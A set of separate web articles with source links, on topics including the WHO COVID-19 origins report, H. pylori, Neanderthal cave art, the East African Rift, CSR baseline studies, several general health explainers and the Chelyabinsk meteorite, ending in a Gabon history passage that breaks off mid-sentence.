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Here’s what the WHO report found on the origins of COVID-19 The long-awaited report answers some questions. But experts warn that discovering the virus’ true origins will take more digging. A World Health Organization report released today says that SARS-CoV-2, the virus that causes COVID-19, most likely leapt from animals to humans through an emissary animal. The dispatch marks the culmination of a month-long mission by a team of Chinese and international experts to uncover COVID-19’s true origins. According to the report, it’s probable the virus originated in a bat or pangolin before making the leap to people. The report also says that it’s “extremely unlikely” the highly transmissible virus escaped from a laboratory in China. “All hypotheses remain on the table,” Tedros Adhanom Ghebreyesus, the WHO’s director general, said in a statement released today, indicating the organization’s research is ongoing. While the 120-page report resolves some queries, it leaves others unanswered, including the geographic origin of the virus and exactly how it infected the first human. The methods used to gather physical evidence, as well as the way the report was written and compiled, have also raised alarm bells, causing some experts to question its credibility and to urge for more transparency in future studies. “This report is a very important beginning, but it is not the end,” Ghebreyesus said, adding that until the source of the virus is found, “we must continue to follow the science and leave no stone unturned as we do.” Path to infection Most scientists are not surprised by the report’s conclusion that SARS-CoV-2 most likely jumped from an infected bat or pangolin to another animal and then to a human. “This is what many of us thought all along,” says Ian Lipkin, director of the Center for Infection and Immunity at Columbia University’s Mailman School of Public Health. But Lipkin adds that it’s “still speculative, because they haven’t identified an intermediary animal.” The report authors suggest examining supply chains from both livestock and wildlife farms to public markets to try and find out exactly which animals were involved. If an intermediate host is part of the virus’ transmission chain, then it will be important to identify it so that mitigation measures can be put in place to prevent future outbreaks, says Theodora Hatziioannou, an associate professor of virology at Rockefeller University in New York City. The report outlines another likely transmission scenario: that the virus leapt directly from a bat to a human. Robert Garry, a virologist at Tulane University School of Medicine who has studied the virus’s origin based on its genome, says such an event “is not too big a stretch.” However, the report questions whether the Huanan market was the location where the first animal-to-human transmission occurred, as some believed. The earliest reported case of COVID-19 did not have any link to the market. That suggests no firm conclusion can be drawn yet about the role of the Huanan market in the origin of the outbreak, or how the infection might have been introduced there, according to the report. The hypothesis that frozen foods packaged and sold in markets might have played a role in SARS-CoV-2 transmission was also addressed. The report authors determined this so-called cold-chain route was possible and called for further case-control studies of outbreaks involving frozen products. They also recommended examining cold-chain products sold in the Huanan market from December 2019—if any are still available. The report concludes that it was “extremely unlikely” the virus leaked from a Wuhan laboratory, a hypothesis propagated by former president Donald Trump but not often entertained by scientists. Robert Redfield, the former director of the Centers for Disease Control and Prevention, continued to spread the idea as recently as last week during a CNN interview. “There is no record of viruses closely related to SARS-CoV-2 in any laboratory” before the first cases of COVID-19 were recorded in December 2019, the WHO report says, with the authors adding that the risk of accidentally introducing the novel coronavirus in a laboratory setting by infecting a human “is extremely low.” The report does not call for additional research into the possibility of a leak from one of Wuhan’s laboratories. “The preliminary conclusions are not outrageous, and they make perfect sense,” Hatziioannou says. “I know a lot of people would like to think it escaped from the lab, but I find conspiracy theories like that extremely hard to believe.” Setbacks and scrutiny However, the report is already facing scrutiny. Although it’s a joint effort between Chinese and WHO officials, investigators representing the WHO were denied permission to visit the Wuhan market and collect other data in the initial phases of the research, leading some pundits to say that the WHO was ceding responsibility to China, its second biggest funder behind the United States. China also held back information about the initial outbreak in Wuhan, which delayed the WHO’s investigation. Today, a joint statement issued by the governments of 14 countries, including the U.S., raised concerns about the transparency of future research into the origins of the novel virus. “It is critical for independent experts to have full access to all pertinent human, animal, and environmental data, research, and personnel involved in the early stages of the outbreak relevant to determining how this pandemic emerge,” the statement reads. Despite the study’s setbacks, Tulane University’s Garry believes the WHO report is credible. “It’s a very detailed report—it’s not the type of data you can make up,” he says. Lipkin agrees: “It’s thorough, it’s exhaustive, it’s well written,” he says. “It’s what we predicted. That’s not to say that it wasn’t important to do this, but there’s nothing here to say, Ah-ha, I never thought this would be the case.”

https://www.nationalgeographic.com/science/article/heres-what-the-who-report-found-on-the-origins-of-covid-19

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H. pylori is commonly transmitted person-to-person by saliva. The bacteria can also be spread by fecal contamination of food or water. In developing countries, a combination of untreated water, crowded conditions, and poor hygiene contributes to higher H. pylori prevalence. Most people become infected as children, and parents and siblings seem to play a primary role in transmission. Spread of Infection H. pylori enters the body through the mouth, moves through the digestive system, and infects the stomach or the first part of the small intestine. The spiral-shaped bacterium uses its tail-like flagella to move around and burrow into the stomach lining, which causes inflammation. Unlike other bacteria, H. pylori bacteria can survive in the harsh acidic environment of the stomach because they produce a substance that neutralizes stomach acid. This substance, urease, reacts with urea to form ammonia, which is toxic to human cells. Depending on where the infection occurs in the stomach, H. pylori can also cause overproduction of stomach acid. Diagram of H. Pylori Infection Source: Y_tambe, dual-license with GFDL and CC-by-SA, http://upload.wikimedia.org/wikipedia/commons/5/51/H_pylori_ulcer_diagram_en.png While there is no formal progression of the H. pylori infection, several steps are well documented. This process is very slow, taking decades, and may stop at any step because gastric cancers probably require several other factors to develop in addition H. pylori infection. - Stage 1: - Normal stomach lining (mucosa) - Stage 2: - Inflammation of the stomach lining (chronic gastritis) - Stage 3: - Loss of stomach cells and impaired digestive system (atrophic gastritis) - Stage 4: - Transformation of the stomach lining (intestinal metaplasia) - Stage 5: - Beginning stages of stomach cancer (dysplasia) - Stage 6: - Stomach cancer (gastric adenocarcinoma)

https://publichealth.arizona.edu/outreach/health-literacy-awareness/hpylori/transmission

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Neanderthals invented art 20,000 years before ancient humans first drew prehistoric bison on cave walls, a study has claimed. Startling new evidence from three caves in Spain suggests that some of the earliest rock paintings have wrongly been attributed to Homo sapiens. Instead they were probably the work of our extinct sister species, the Neanderthals – once dismissed as stupid brutish creatures having more in common with chimpanzees than people. Scientists now know that the Neanderthals were no ape-men. They used simple stone and bone tools, wore clothing, adorned their bodies and may have had a complex language. The latest discoveries published in the journal Science show that Neanderthals were capable of highly sophisticated symbolic thought. The cave paintings, made with red and black pigments, consist of groups of animals, dots and abstract geometric designs, as well as stencilled hand prints. They occupy three sites at La Pasiega, Maltravieso and Ardales – situated up to 700 kilometres apart in different parts of Spain. A state-of-the-art technique was used to date the paintings more accurately than has ever been possible before. The findings fixed the age of the art works at 64,000 years ago – long before the arrival of the first “modern” humans in western Europe. The only ‘people’ around in that part of the world at the time were Neanderthals. Archaeologist and joint lead researcher Dr Chris Standish, from the University of Southampton, said: ‘This is an incredibly exciting discovery which suggests Neanderthals were much more sophisticated than is popularly believed. ‘Our results show that the paintings we dated are, by far, the oldest known cave art in the world, and were created at least 20,000 years before modern humans arrived in Europe from Africa – therefore they must have been painted by Neanderthals.’ The dating method involved sampling ultra-thin carbonate deposits built up over time that contain the ‘mother and daughter’ radioactive elements uranium and thorium. Measuring the relative levels of the two elements indicates how long it has taken for one to decay into the other. The technique is far more reliable than traditional radiocarbon dating, which can give false age estimates. The scientists analysed more than 60 carbonate samples taken from the paintings. Co-author Professor Alistair Pike, also from the University of Southampton, said: ‘Soon after the discovery of the first of their fossils in the 19th century, Neanderthals were portrayed as brutish and uncultured, incapable of art and symbolic behaviour, and some of these views persist today. ‘The issue of just how human-like Neanderthals behaved is a hotly debated issue. Our findings will make a significant contribution to that debate.’ Neanderthals co-existed with Homo sapiens for thousands of years in Europe and Asia and the two kinds of human are thought to have interbred. They became extinct around 38,000 years ago for reasons that are still not clear. Two leading theories are an inability to adapt to climate change and competition from our ancestors. Or possibly they may simply have been ‘assimilated’ into the growing modern human population. Study co-author Professor Paul Pettitt, from the University of Durham, said: ‘Neanderthals created meaningful symbols in meaningful places. The art is not a one-off accident. ‘We have examples in three caves 700km apart, and evidence that it was a long-lived tradition. It is quite possible that similar cave art in other caves in western Europe is of Neanderthal origin as well.’ Share this with

http://metro.co.uk/2018/02/22/neanderthals-created-art-20000-before-humans-started-painting-on-cave-walls-academics-claim-7334769/

Education

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A large crack, stretching several kilometres, made a sudden appearance recently in south-western Kenya. The tear, which continues to grow, caused part of the Nairobi-Narok highway to collapse and was accompanied by seismic activity in the area. The Earth is an ever-changing planet, even though in some respects change might be almost unnoticeable to us. Plate tectonics is a good example of this. But every now and again something dramatic happens and leads to renewed questions about the African continent splitting in two. The Earth’s lithosphere (formed by the crust and the upper part of the mantle) is broken up into a number of tectonic plates. These plates are not static, but move relative to each other at varying speeds, “gliding” over a viscous asthenosphere. Exactly what mechanism or mechanisms are behind their movement is still debated, but are likely to include convection currents within the asthenosphere and the forces generated at the boundaries between plates. These forces do not simply move the plates around, they can also cause plates to rupture, forming a rift and potentially leading to the creation of new plate boundaries. The East African Rift system is an example of where this is currently happening. The East African Rift Valley stretches over 3,000km from the Gulf of Aden in the north towards Zimbabwe in the south, splitting the African plate into two unequal parts: the Somali and Nubian plates. Activity along the eastern branch of the rift valley, running along Ethiopia, Kenya and Tanzania, became evident when the large crack suddenly appeared in south-western Kenya. When the lithosphere is subject to a horizontal extensional force it will stretch, becoming thinner. Eventually, it will rupture, leading to the formation of a rift valley. Great Rift Valley, Tanzania. This process is accompanied by surface manifestations along the rift valley in the form of volcanism and seismic activity. Rifts are the initial stage of a continental break-up and, if successful, can lead to the formation of a new ocean basin. An example of a place on Earth where this has happened is the South Atlantic ocean, which resulted from the break up of South America and Africa around 138m years ago – ever noticed how their coastlines match like pieces of the same puzzle?. Continental rifting requires the existence of extensional forces great enough to break the lithosphere. The East African Rift is described as an active type of rift, in which the source of these stresses lies in the circulation of the underlying mantle. Beneath this rift, the rise of a large mantle plume is doming the lithosphere upwards, causing it to weaken as a result of the increase in temperature, undergo stretching and breaking by faulting. Evidence for the existence of this hotter-than-normal mantle plume has been found in geophysical data and is often referred to as the “African Superswell”. This superplume is not only a widely-accepted source of the pull-apart forces that are resulting in the formation of the rift valley but has also been used to explain the anomalously high topography of the Southern and Eastern African Plateaus. Rifts exhibit a very distinctive topography, characterised by a series of fault-bounded depressions surrounded by higher terrain. In the East African system, a series of aligned rift valleys separated from each other by large bounding faults can be clearly seen from space. Topography of the Rift Valley. James Wood and Alex Guth, Michigan Technological University. Basemap: Space Shuttle radar topography image by NASA Not all of these fractures formed at the same time, but followed a sequence starting in the Afar region in northern Ethiopia at around 30m years ago and propagating southwards towards Zimbabwe at a mean rate of between 2.5-5cm a year. Although most of the time rifting is unnoticeable to us, the formation of new faults, fissures and cracks or renewed movement along old faults as the Nubian and Somali plates continue moving apart can result in earthquakes. However, in East Africa most of this seismicity is spread over a wide zone across the rift valley and is of relatively small magnitude. Volcanism running alongside is a further surface manifestation of the ongoing process of continental break up and the proximity of the hot molten asthenosphere to the surface. The East African Rift is unique in that it allows us to observe different stages of rifting along its length. To the south, where the rift is young, extension rates are low and faulting occurs over a wide area. Volcanism and seismicity are limited. Towards the Afar region, however, the entire rift valley floor is covered with volcanic rocks. This suggests that, in this area, the lithosphere has thinned almost to the point of complete break up. When this happens, a new ocean will begin forming by the solidification of magma in the space created by the broken-up plates. Eventually, over a period of tens of millions of years, seafloor spreading will progress along the entire length of the rift. The ocean will flood in and, as a result, the African continent will become smaller and there will be a large island in the Indian Ocean composed of parts of Ethiopia and Somalia, including the Horn of Africa. Dramatic events, such as sudden motorway-splitting faults or large catastrophic earthquakes may give continental rifting a sense of urgency but, most of the time, it goes about splitting Africa without anybody even noticing. Lucia Perez Diaz, Postdoctoral Researcher, Fault Dynamics Research Group, Royal Holloway This article was originally published on The Conversation. Read the original article.

https://qz.com/1244443/scientists-now-have-evidence-africa-is-physically-splitting-into-two-continents/?utm_source=parBBC

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An Overview of Baseline Studies and Their Role in CSR Impact Assessment. It can be difficult to measure the impact of CSR initiatives. The nature of their goals is subjectively quantifiable. This is where Baseline Studies come in. It is an essential tool for measuring the impact of CSR initiatives and assessing their effectiveness. Baseline Studies, baseline assessment or needs assessment are terms typically used interchangeably. They refer to assessing the community needs of a focused geography or area where CSR is undertaken. The Baseline Study for a project involves understanding community needs through discussions, surveys, and community statistics available through the government, agencies, NGOs, and other assessing organizations. Baseline Studies involve collecting and analyzing data around a particular issue, a situation before an intervention, or the implementation of the CSR program. The aim of a Baseline Study is to understand the ground-level situation and needs of those who the CSR project will serve. It also establishes a benchmark to measure the impact of the intervention or CSR program in the future. This is important because without a baseline, it is difficult to know whether the intervention or CSR program has had a positive or negative impact on the community. Let’s delve a little deeper into the importance of Baseline Studies. Baseline Studies are essential for identifying the parameters of a CSR intervention or program’s work. By conducting a Baseline Study, a company can understand the current situation and identify specific issues and challenges that need addressing. Knowing a community’s situation and needs makes it easier to plan short, medium and long-term interventions focused on generating maximum impact. This ensures that the project serves the community to the best of its ability. Take the example of a company conducting a Baseline Study to assess the impact of a waste reduction program. The study might involve collecting data on the amount of waste generated by the company, the types of waste produced, and the disposal methods used. This data can then help identify areas to focus waste reduction efforts. Such as reducing the amount of single-use plastics used in the workplace. Baseline Studies are important for generating Key Performance Indicators (KPIs). This helps measure the impact of a CSR program over time. Performance indicators are essential for tracking progress towards goals and objectives. They also identify areas for improvement. For example, if a company is implementing a program to reduce its carbon footprint, it might establish key performance indicators such as the amount of greenhouse gas emissions produced per year, the percentage of energy used from renewable sources, and the amount of waste sent to landfills. By collecting data on these KPIs before implementing the program, the company establishes a baseline to measure its progress. Social Return on Investment or SROI is a parameter that determines the right value received from the funds invested by organizations in their CSR. This happens by assessing the impact on the direct beneficiaries of the project. It also happens by assessing the community to which they belong, and even social and environmental factors. To measure the impact of a CSR program, one requires a baseline against which to compare data. By comparing data collected during a Baseline Study with data collected after the program gets implemented, companies can assess the impact of their interventions and identify areas for improvement. For example, if a company has implemented a program to reduce its carbon footprint, it can compare data on greenhouse gas emissions before and after the program to determine whether the program has been effective in reducing emissions. If the program has not been effective, the company can use the data collected during the Baseline Study to identify areas of improvement. Without a baseline, it is difficult to know whether a CSR program has had a positive or negative impact. Baseline Studies provide a framework for measuring the impact of CSR initiatives and for determining whether they have the desired effect. In conclusion, baseline studies are a crucial tool to ensure the success of CSR initiatives. By providing a benchmark against which the impact of an intervention or CSR program can get measured, Baseline Studies help companies to bring their CSR vision to life. It allows investors and organizations to understand their undertaking in a more qualifiable sense than just figures on a sheet. Baseline Studies are also important for identifying areas of improvement and ensuring that CSR initiatives have a positive impact on society and the environment. Without Baseline Studies, it is difficult to know whether CSR initiatives are making a difference, and companies risk investing time and resources in programs that do not achieve their intended goals. Therefore, companies committed to CSR should prioritize Baseline Studies as a part of their Impact Assessment process. By doing so, they can ensure that their CSR initiatives are effective and efficient, and make a positive impact on the world around them. SoulAce is a one-stop solution for all your CSR requirements. With over a decade of experience in the Social Development sector, we are well-equipped with the right teams and software to help systematically conduct your Baseline Studies in preparation for your CSR Project. Imagine all your analytics available at the click of a button - as and when you require them. Keep on top of compliances and keep your CSR activities transparent, all with our Technology for Good.

https://www.soulace.in/an-overview-of-baseline-studies-and-their-role-in-csr-impact-assessment.php?source=post_page-----87b08a93e773--------------------------------

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Did you know that your eyes can tell a lot about your health? They can indicate such eye diseases as glaucoma and cataracts and alert you about diabetes, cardiovascular disease, liver disease and many more ailments. Here is a list few symptoms and what they might mean: 1. Redness of the eye and sensitivity to light This could probably mean an inflammation in the middle part of your eye. Possible reasons: allergy, eye fatigue, over-wearing contact lenses, computer vision syndrome, common eye infections such as pink eye (conjunctivitis), uveitis, glaucoma, cold and flu, smoking, environment and workplace hazards, lack of sleep, etc. 2. Dry eyes There are plenty of things that can make your eyes feel dry: not blinking enough, allergies, certain medications, extremely dry air, dust and smoke. Dry eye syndrome occurs when your tear glands produce either an insufficient quantity or quality of tears to properly lubricate and nourish your eyes. 3. Watery eyes Common causes of watery eyes include: eyelid inflammation, blocked tear duct, allergy, dry eye symptom, common cold, hay fever, ingrown eyelash, conjunctivitis, trachoma, eye injury, chronic sinusitis, congenital or early-onset glaucoma in infants. 4. Blurry Vision Blurry vision has many causes, from fatigue and eyestrain to serious eye diseases such as glaucoma. 5. Unequal pupil size Causes include glaucoma, head or eye trauma, an intracranial tumor, infection of the membranes surrounding the brain and previous intraocular surgery. A small percent of the population has unequal-sized pupils naturally (without any known cause). 6. Eye twitching and eyelid twitches Eye twitching, eyelid tics and spasms are pretty common. Most eye twitches come and go, although they can last for weeks or even months. The rippling muscle contractions in an eyelid can be triggered by: stress, tiredness, eye strain, caffeine, alcohol, dry eyes, nutritional imbalance, allergies. If you have any of these symptoms you should visit an ophthalmologist (eye doctor) to check your vision. Remember, eyes are the window to your soul and you should care about them.

http://www.informationng.com/2015/06/heres-what-your-eyes-tell-about-your-health.html

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Children's rheumatoid arthritis (RA), also known as juvenile idiopathic arthritis (JIA), is a chronic inflammatory disorder that affects children under the age of 16. It is characterized by persistent joint pain, swelling, and stiffness, which can significantly impact a child's physical and emotional well-being. Early detection, proper diagnosis, and appropriate treatment are crucial for managing the symptoms and preventing long-term complications. In this article, we will explore the signs, symptoms, and treatment options available for children with rheumatoid arthritis. Joint Pain and Swelling: The most common symptom of children's rheumatoid arthritis is persistent joint pain, particularly in the knees, hands, and feet. The affected joints may also become swollen, warm to the touch, and tender. Morning Stiffness: Children with rheumatoid arthritis often experience morning stiffness that lasts for at least one hour. This stiffness can make it difficult for them to move and perform daily activities. 1. Fatigue and Weakness: Many children with rheumatoid arthritis experience fatigue, lack of energy, and generalized weakness. This can affect their ability to participate in physical activities and may lead to reduced academic performance. Limited Range of Motion: Due to joint inflammation and swelling, children with rheumatoid arthritis may have a limited range of motion in their affected joints. This can make it challenging to perform tasks that require flexibility and dexterity. Problems: In some cases, children with rheumatoid arthritis may develop eye complications such as uveitis, an inflammation of the middle layer of the eye. It is essential to monitor their eye health regularly. Problems: Rheumatoid arthritis can interfere with a child's growth and development, particularly if the disease affects the bones and growth plates. Close monitoring by a pediatric rheumatologist is crucial to ensure ALSO READ: What Causes Cancer in Children Some children with rheumatoid arthritis may develop a rash, often associated with fever. This rash typically appears on the trunk and limbs and may come and Symptoms: In severe cases, children with rheumatoid arthritis may experience systemic symptoms such as fever, weight loss, and swollen lymph nodes. These symptoms indicate more widespread inflammation. Medications: Nonsteroidal anti-inflammatory drugs (NSAIDs) are often used to manage pain and inflammation in children with rheumatoid arthritis. Disease-modifying antirheumatic drugs (DMARDs) may also be prescribed to slow down disease progression and prevent joint damage. In some cases, biological agents, such as tumor necrosis factor (TNF) inhibitors, may be Physical and Occupational Therapy: Physical and occupational therapy plays a crucial role in managing children's rheumatoid arthritis. These therapies aim to improve joint mobility, muscle strength, and overall physical function. They may also provide strategies for joint protection and energy Splints and Assistive Devices: Splints, braces, and other assistive devices can help support and protect affected joints. They can assist with maintaining joint alignment and reducing pain during activities. Exercise and Healthy Lifestyle: Regular exercise, tailored to the child's abilities and limitations, is essential for maintaining joint flexibility, muscle strength, and overall cardiovascular health. A balanced diet and healthy lifestyle habits, including adequate rest and stress management, are also beneficial. Regular eye examinations by an ophthalmologist are crucial for detecting and managing any eye complications associated with rheumatoid arthritis. Emotional Support: Living with a chronic condition such as rheumatoid arthritis can be challenging for children. Providing emotional support and ensuring access to counseling or support groups can help them cope with the emotional and psychological impact of the disease. ALSO READ: How to Reduce Body Temperature During Fever for Babies HOW CAN PARENTS HELP THEIR CHILDREN MANAGE THE EMOTIONAL AND PSYCHOLOGICAL IMPACT OF RHEUMATOID ARTHRITIS? Parents play a crucial role in supporting their children with rheumatoid arthritis in managing the emotional and psychological impact of the condition. Here are some strategies that parents can employ to help their and Communication: It is important for parents to educate themselves about rheumatoid arthritis and its potential impact on their child's emotional well-being. By understanding the condition, parents can effectively communicate with their children, answer questions, and address concerns. Open and honest communication fosters a supportive environment where the child feels comfortable expressing their emotions. Emotional Support: Providing unconditional love, empathy, and emotional support is vital for children with rheumatoid arthritis. Parents should encourage their children to talk about their feelings, fears, and frustrations. Active listening and validation of their emotions can go a long way in helping them cope. Assure your child that their feelings are valid and that you are there to support them. 3. Encourage Self-Expression: Encourage your child to express themselves creatively through activities such as drawing, painting, writing, or playing an instrument. These outlets provide a healthy means of emotional expression and can serve as a distraction from the challenges of living with rheumatoid arthritis. Support: Connect your child with support groups or online communities where they can interact with peers who are going through similar experiences. Sharing experiences and feelings with others who can relate can provide a sense of belonging, validation, and emotional support. Encourage Independence: Encourage your child to become independent in managing their condition to the best of their abilities. This can help boost their self-esteem and confidence. Allow them to take responsibility for tasks such as medication management, joint protection strategies, and communicating with healthcare providers. ALSO RAD: How to Get Rid Of a Baby Diaper Rash within 24 Hours a Healthy Lifestyle: Emphasize the importance of a healthy lifestyle, including regular exercise, a balanced diet, and sufficient rest. Engage in physical activities together as a family, ensuring that they are adapted to your child's abilities and limitations. Encourage healthy habits that contribute to overall well-being, such as stress management techniques and Professional Help: If your child is experiencing significant emotional distress, anxiety, or depression related to their rheumatoid arthritis, consider seeking professional help. A mental health professional, such as a psychologist or counselor, can provide specialized support and coping strategies tailored to your child's needs. Collaboration with School: Collaborate with your child's school to ensure that they receive appropriate support and accommodations. This may include modified physical education programs, extra time between classes, and access to necessary assistive devices. Educating teachers and classmates about rheumatoid arthritis can also foster empathy and understanding. Focus on Abilities and Achievements: Encourage your child to focus on their abilities and achievements rather than the limitations imposed by their condition. Celebrate their successes, both big and small, to boost their confidence and self-esteem. Help them set realistic goals and support them in pursuing their interests and passions. a Role Model: As a parent, you can be a positive role model by demonstrating resilience, optimism, and proactive management of challenges. Show your child that although rheumatoid arthritis may present obstacles, it does not define their entire life. Encourage them to maintain a positive outlook and find joy in other aspects of their life. Remember, each child's experience with rheumatoid arthritis is unique, so it is important to tailor the support and strategies to their individual needs. By providing a nurturing and supportive environment, parents can help their children effectively manage the emotional and psychological impact of rheumatoid arthritis. Children's rheumatoid arthritis is a chronic condition that requires early diagnosis and comprehensive treatment to minimize joint damage, manage pain, and improve overall quality of life. Recognizing the signs and symptoms, seeking medical attention, and working closely with a pediatric rheumatologist are essential for effective disease management. With the right treatment approach, support, and guidance, children with rheumatoid arthritis can lead active and fulfilling lives. ALSO READ: How to tell if your child has autism spectrum disorder Keywords on Children's Rheumatoid Arthritis: Children's Rheumatoid Arthritis, Juvenile Rheumatoid Arthritis, JRA, Juvenile Idiopathic Arthritis, JIA, Childhood Arthritis, Pediatric Rheumatology, Rheumatoid Arthritis in Children, Autoimmune Disorder, Joint Pain in Children, Joint Swelling in Children, Stiffness in Children, Early Diagnosis, Treatment Options, Medications for Children's Rheumatoid Arthritis, Biologic Therapies for Children, Physical Therapy for Children's Arthritis, Occupational Therapy for Children's Arthritis, Exercise for Children with Rheumatoid Arthritis, Alternative Treatments for Children's Arthritis, Emotional Impact, Psychological Support, Parenting a Child with Rheumatoid Arthritis, Coping Strategies, Support Groups, School Accommodations, Research Advancements in Pediatric Rheumatology, Long-term Outlook, Quality of Life in Children with Arthritis, Genetic Factors, Environmental Triggers, Inflammatory Markers, Rheumatoid Factor, Anti-CCP Antibodies, Early Intervention, Disease Management in Children's Rheumatoid Arthritis, Impact on Growth and Development, Eye Complications in Children with Arthritis, Systemic Symptoms in Juvenile Arthritis, Transition to Adult Rheumatology Care. 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https://www.healthlifekit.com/2023/09/childrens-rheumatoid-arthritis-signs.html

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THE WOODLANDS, Texas — Scientists studying small pieces of the meteor that exploded over the Russian city of Chelyabinsk on Feb. 15 are working to glean new insights into the rare impact by a space rock. Based on the meteorite analysis, researchers have determined that last month's meteor explosion in Russia — which scientists call a superbolide — produced a shock wave that reached the ground. That shock shattered windows and injured some 1,500 people due to flying glass. The blast also created a shower of stony meteorites that fell to Earth in an impact region more than 60 miles (100 kilometers) long. Thinly sliced meteorites Some of the Chelyabinsk meteorite samples have made their way to planetary scientist Larry Taylor, director of the Planetary Geosciences Institute at the University of Tennessee in Knoxville, who obtained the superbolide samples with the help of Russian colleagues. [Photos of Potentially Dangerous Asteroids] "I got three pieces that were completely coated with black fusion crust. The total of them is less than 10 grams," Taylor told SPACE.com here at the 44th Lunar and Planetary Science Conference. Initially, the meteorite specimens were polished and thinly sliced for a detailed inspection under a petrographic microscope. The device is a type of optical microscope used in petrology and optical mineralogy that scientists are employing to identify rocks and minerals within the thin meteorite slices. Get the Space.com Newsletter Breaking space news, the latest updates on rocket launches, skywatching events and more! The small samples will undergo further scrutiny over the next few months, Taylor said. "We've just started to skim the top of it," he added. Tapping into superbolide secrets Taylor and his associates are now deciding the best tactics to further reveal what stories the specimens have to tell. "The magnitude of the explosion led a whole lot of us to believe that it must have been a very volatile-rich meteor that was coming in … because it exploded so vigorously," Taylor said. Volatile materials are those that evaporate easily. “In fact, everything we found so far points to an ordinary chondrite." About 90 percent of stony meteorites are classified as ordinary chondrites, space rocks that are lacking in volatile materials. "It is ordinary because it's common," Taylor said. "But it is special because it contains such a wide array of things … a whole menagerie of things all in one." Fallout from Chelyabinsk For Taylor, studying extraterrestrial samples here on Earth is a long-time passion. He was in the "backroom" at NASA Johnson Space Center during the Apollo 17 mission in 1972, where he served one of the scientists directly advising the astronauts on their various moonwalks. Taylor is accustomed to analyzing the mineralogy, petrology and geochemistry of rocks from "out there." "It's like every time we went to the moon, we learned something new," he said. "We could put together the story. And that's the same thing here … It's always like that." Taylor said he suspects that the superbolide over Russia may have originally been a quite large, unusual object before it broke apart. The three pieces he is now studying were recovered in three different locations. While they are all pretty much the same in composition overall, each one has some unique characteristics, he said. The fallout from the Chelyabinsk event may well have an impact beyond science, Taylor said. "To see the pictures and see the devastation that this did was immense," Taylor said. "It brought back the whole fear of near-Earth asteroids. This scares the world, and I think NASA will change its priorities a bit." Leonard David has been reporting on the space industry for more than five decades. He is former director of research for the National Commission on Space and a past editor-in-chief of the National Space Society's Ad Astra and Space World magazines. He has written for SPACE.com since 1999. Follow us @Spacedotcom, Facebook or Google+. Original article on SPACE.com. Join our Space Forums to keep talking space on the latest missions, night sky and more! And if you have a news tip, correction or comment, let us know at: [email protected]. Leonard David is an award-winning space journalist who has been reporting on space activities for more than 50 years. Currently writing as Space.com's Space Insider Columnist among his other projects, Leonard has authored numerous books on space exploration, Mars missions and more, with his latest being "Moon Rush: The New Space Race" published in 2019 by National Geographic. He also wrote "Mars: Our Future on the Red Planet" released in 2016 by National Geographic. Leonard has served as a correspondent for SpaceNews, Scientific American and Aerospace America for the AIAA. He has received many awards, including the first Ordway Award for Sustained Excellence in Spaceflight History in 2015 at the AAS Wernher von Braun Memorial Symposium. You can find out Leonard's latest project at his website and on Twitter.

http://www.space.com/20323-russia-meteor-explosion-meteorites.html

Politics

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What causes a weak immune system? Many people are taking extra steps to be healthy in the aftermath of the latest COVID-19 omicron variant. Hands washing for 20 seconds and social separation are critical to preventing the virus from spreading. However, it is also critical to have a healthy immune system that can fight off any pathogens that you may meet. If you've observed that you're frequently unwell, tired, or have other nagging symptoms that you can't pinpoint, your immune system may be impaired. Examine the warning signals & what you can do to strengthen your immune system. 1. You have a high level of stress. It's no coincidence that you fall sick after a major assignment at work or after an emotional issue at home. Lengthy stress, according to the American Psychological Association, decreases your immune system's responses. "This is because stress reduces the number of lymphocytes in the body, which are white blood cells that assist the body fight illness." "More lower your lymphocyte levels, the more vulnerable you are to viruses like the common cold," says Nadia Hasan, DO, of Delancey 2. You are always sick with a cold. Adults are entirely typical to sneeze and sniffle their way through two or three colds per year. The majority of people recover in seven to "Throughout that time, it takes the immune system three to four days to produce antibodies and fight off bothersome viruses," explains Dr. Hasan. However, contracting colds on a regular basis – or having a cold that won't go away – is a clear sign that your immune system is straining to keep up. 3. You do have a Lot of Stomach Problems If you have frequent diarrhea, gas, or constipation, it could be an indication that your immune system is weak. According to research, the digestive tract contains roughly 70% of your immune system. Beneficial bacteria and germs that thrive there protect your stomach from illness and help your immune system. Low levels of these beneficial gut bacteria can put you at risk for infections, chronic inflammation, and potential autoimmune illnesses. wounds take a long time to heal. When you acquire a burn, cut, or scrape, your skin goes into damage control mode. Your body protects the wound by delivering nutrient-rich blood to the site of the injury to aid in the regeneration of new skin. Strong immune cells are required for the healing process. However, if your immune system is weak, your skin will not regrow. Instead, your wounds persist and are difficult to heal. Get Infections Frequently If you seem to have infections all the time, your immune system may be sending you warning signs. According to the American Academy of Allergy, Asthma, and Immunology, indications of an immunological deficit in adults include: - Having 4 or more ear infections in a calendar year - Having pneumonia twice a year - Chronic sinusitis or even more than three episodes of bacterial sinusitis in a calendar year - More than two doses of antibiotics are required per year are always tired. You realize that burning the candle at both ends will leave you tired. However, if you're receiving enough sleep but still feeling tired, it's worth wondering whether your immune system is attempting to say you Whenever your immune system is compromised, your energy "This is because your body is attempting to conserve energy in order to power your immune system so that it can fight viruses," adds Dr. Hasan. If any of the following symptoms sound similar, you should pay special attention to your immune system. A few lifestyle adjustments and new behaviors can help you maintain a robust and healthy immune system - Maintain a healthy diet. - Sleep enough - Regular exercise - Hands should be washed. - Maintain your immunization schedule. - Keep a healthy weight. - You should not smoke. - Attempt to reduce stress. Because your immune system is so important to your overall health, the more you can do to protect it, the better. ALSO READ: Signs Your Immune System Is Fighting a Virus Post a Comment

https://www.healthlifekit.com/2022/06/what-are-signs-of-weakened-immune-system.html

Health

en

Gabon, a country tucked away on the west coast of Central Africa, often flies under the radar in global discussions. Yet, this small nation is a hidden gem, rich in history, culture, and natural resources. Known for its diverse ecosystems, abundant wildlife, and stable political climate, Gabon offers a fascinating case study in how a country can leverage its natural wealth while striving to preserve its environment. In this article, we’ll explore Gabon’s history, geography, independence, and more, highlighting the many facets that make this nation unique. A Glimpse into Gabon’s History Pre-Colonial and Colonial Era Before the arrival of Europeans, Gabon was home to various Bantu-speaking tribes, each with its own culture and traditions. The Pygmies are believed to be the earliest inhabitants of Gabon, later joined by Bantu tribes who migrated from the north. The first European to set foot on Gabonese soil was the Portuguese explorer Diogo Cam in the late 15th century. However, it wasn’t until the 19th century that Gabon became a French colony. The French established their dominance through a series of treaties and by the end of the 19th century, Gabon was fully integrated into French Equatorial Africa. The Road to Independence Gabon’s path to independence was relatively peaceful compared to other African nations. As the winds of change blew across Africa in the mid-20th century, Gabon began to push for greater autonomy. In 1958, Gabon became an autonomous republic within the French Community, and on August 17, 1960, it achieved full independence. Léon M’ba, a prominent Gabonese politician, became the country’s first president. After independence, Gabon experienced political stability under Léon M’ba, 